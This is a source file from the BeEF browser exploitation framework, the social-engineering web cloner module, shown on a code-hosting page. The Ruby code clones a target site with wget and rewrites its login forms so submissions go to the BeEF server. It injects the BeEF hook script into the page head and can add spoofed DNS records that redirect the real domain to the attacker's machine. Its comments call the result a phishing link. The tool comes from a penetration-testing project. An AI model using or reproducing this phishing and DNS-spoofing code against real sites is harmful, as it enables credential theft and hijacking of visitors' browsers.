PageRenderTime 49ms CodeModel.GetById 23ms RepoModel.GetById 0ms app.codeStats 0ms

/extensions/social_engineering/web_cloner/web_cloner.rb

https://github.com/michaelhidalgo/beef
Ruby | 210 lines | 182 code | 12 blank | 16 comment | 14 complexity | cad0186c7360a276954cb2de4a2b3d5e MD5 | raw file
Possible License(s): GPL-2.0
  1. #
  2. # Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
  3. # Browser Exploitation Framework (BeEF) - http://beefproject.com
  4. # See the file 'doc/COPYING' for copying permission
  5. #
  6. module BeEF
  7. module Extension
  8. module SocialEngineering
  9. class WebCloner
  10. require 'socket'
  11. include Singleton
  12. def initialize
  13. @http_server = BeEF::Core::Server.instance
  14. @config = BeEF::Core::Configuration.instance
  15. @cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
  16. @beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}"
  17. end
  18. def clone_page(url, mount, use_existing, dns_spoof)
  19. print_info "Cloning page at URL #{url}"
  20. uri = URI(url)
  21. output = uri.host
  22. output_mod = "#{output}_mod"
  23. user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent')
  24. success = false
  25. # Sometimes pages use Javascript/custom logic to submit forms. In these cases even having a powerful parser,
  26. # there is no need to implement the complex logic to handle all different cases.
  27. # We want to leave the task to modify the xxx_mod file to the BeEF user, and serve it through BeEF after modification.
  28. # So ideally, if the the page needs custom modifications, the web_cloner usage will be the following:
  29. # 1th request. {"uri":"http://example.com", "mount":"/"} <- clone the page, and create the example.com_mod file
  30. # - the user modify the example.com_mod file manually
  31. # 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
  32. #
  33. if use_existing.nil? || use_existing == false
  34. begin #,"--background"
  35. IO.popen(["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", "--no-check-certificate"], 'r+') do |wget_io|
  36. end
  37. success = true
  38. rescue => e
  39. print_error "Errors executing wget: #{e}"
  40. print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
  41. end
  42. if success
  43. File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file|
  44. File.open("#{@cloned_pages_dir + output}", 'r').each do |line|
  45. # Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF
  46. if line.include?("<form ") || line.include?("<FORM ")
  47. line_attrs = line.split(" ")
  48. c = 0
  49. cc = 0
  50. #todo: probably doable also with map!
  51. # modify the form 'action' attribute
  52. line_attrs.each do |attr|
  53. if attr.include? "action=\""
  54. print_info "Form action found: #{attr}"
  55. break
  56. end
  57. c += 1
  58. end
  59. line_attrs[c] = "action=\"#{mount}\""
  60. #todo: to be tested, needed in case like yahoo
  61. # delete the form 'onsubmit' attribute
  62. #line_attrs.each do |attr|
  63. # if attr.include? "onsubmit="
  64. # print_info "Form onsubmit event found: #{attr}"
  65. # break
  66. # end
  67. # cc += 1
  68. #end
  69. #line_attrs[cc] = ""
  70. mod_form = line_attrs.join(" ")
  71. print_info "Form action value changed in order to be intercepted :-D"
  72. out_file.print mod_form
  73. # Add the BeEF hook
  74. elsif (line.include?("</head>") || line.include?("</HEAD>")) && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
  75. out_file.print add_beef_hook(line)
  76. print_info "BeEF hook added :-D"
  77. else
  78. out_file.print line
  79. end
  80. end
  81. end
  82. end
  83. end
  84. if File.size("#{@cloned_pages_dir + output}") > 0
  85. print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
  86. file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
  87. # if the user wants to clone http://a.com/login.jsp?cas=true&ciccio=false , split the URL mounting only the path.
  88. # then the phishing link can be used anyway with all the proper parameters to looks legit.
  89. if mount.include?("?")
  90. mount = mount.split("?").first
  91. print_info "Normalizing mount point. You can still use params for the phishing link."
  92. end
  93. # Check if the original URL can be framed
  94. frameable = is_frameable(url)
  95. interceptor = BeEF::Extension::SocialEngineering::Interceptor
  96. interceptor.set :redirect_to, url
  97. interceptor.set :frameable, frameable
  98. interceptor.set :beef_hook, @beef_hook
  99. interceptor.set :cloned_page, get_page_content(file_path)
  100. interceptor.set :db_entry, persist_page(url, mount)
  101. # Add a DNS record spoofing the address of the cloned webpage as the BeEF server
  102. if dns_spoof
  103. dns = BeEF::Extension::Dns::Server.instance
  104. ipv4 = Socket.ip_address_list.detect { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address
  105. ipv6 = Socket.ip_address_list.detect { |ai| ai.ipv6? && !ai.ipv6_loopback? }.ip_address
  106. ipv6.gsub!(/%\w*$/, '')
  107. domain = url.gsub(%r{^http://}, '')
  108. dns.add_rule(
  109. :pattern => domain,
  110. :resource => Resolv::DNS::Resource::IN::A,
  111. :response => ipv4
  112. ) unless ipv4.nil?
  113. dns.add_rule(
  114. :pattern => domain,
  115. :resource => Resolv::DNS::Resource::IN::AAAA,
  116. :response => ipv6
  117. ) unless ipv6.nil?
  118. print_info "DNS records spoofed [A: #{ipv4} AAAA: #{ipv6}]"
  119. end
  120. print_info "Mounting cloned page on URL [#{mount}]"
  121. @http_server.mount("#{mount}", interceptor.new)
  122. @http_server.remap
  123. success = true
  124. else
  125. print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
  126. success = false
  127. end
  128. success
  129. end
  130. private
  131. # Replace </head> with <BeEF_hook></head>
  132. def add_beef_hook(line)
  133. if line.include?("</head>")
  134. line.gsub!("</head>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
  135. elsif line.gsub!("</HEAD>", "<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</HEAD>")
  136. end
  137. line
  138. end
  139. private
  140. # check if the original URL can be framed. NOTE: doesn't check for framebusting code atm
  141. def is_frameable(url)
  142. result = true
  143. begin
  144. uri = URI(url)
  145. http = Net::HTTP.new(uri.host, uri.port)
  146. if uri.scheme == "https"
  147. http.use_ssl = true
  148. http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  149. end
  150. request = Net::HTTP::Get.new(uri.request_uri)
  151. response = http.request(request)
  152. frame_opt = response["X-Frame-Options"]
  153. if frame_opt != nil
  154. if frame_opt.casecmp("DENY") == 0 || frame_opt.casecmp("SAMEORIGIN") == 0
  155. result = false
  156. end
  157. end
  158. print_info "Page can be framed: [#{result}]"
  159. rescue => e
  160. result = false
  161. print_error "Unable to determine if page can be framed. Page can be framed: [#{result}]"
  162. print_debug e
  163. #print_debug e.backtrace
  164. end
  165. result
  166. end
  167. def get_page_content(file_path)
  168. file = File.open(file_path, 'r')
  169. cloned_page = file.read
  170. file.close
  171. cloned_page
  172. end
  173. def persist_page(uri, mount)
  174. webcloner_db = BeEF::Core::Models::Webcloner.new(
  175. :uri => uri,
  176. :mount => mount
  177. )
  178. webcloner_db.save
  179. webcloner_db
  180. end
  181. end
  182. end
  183. end
  184. end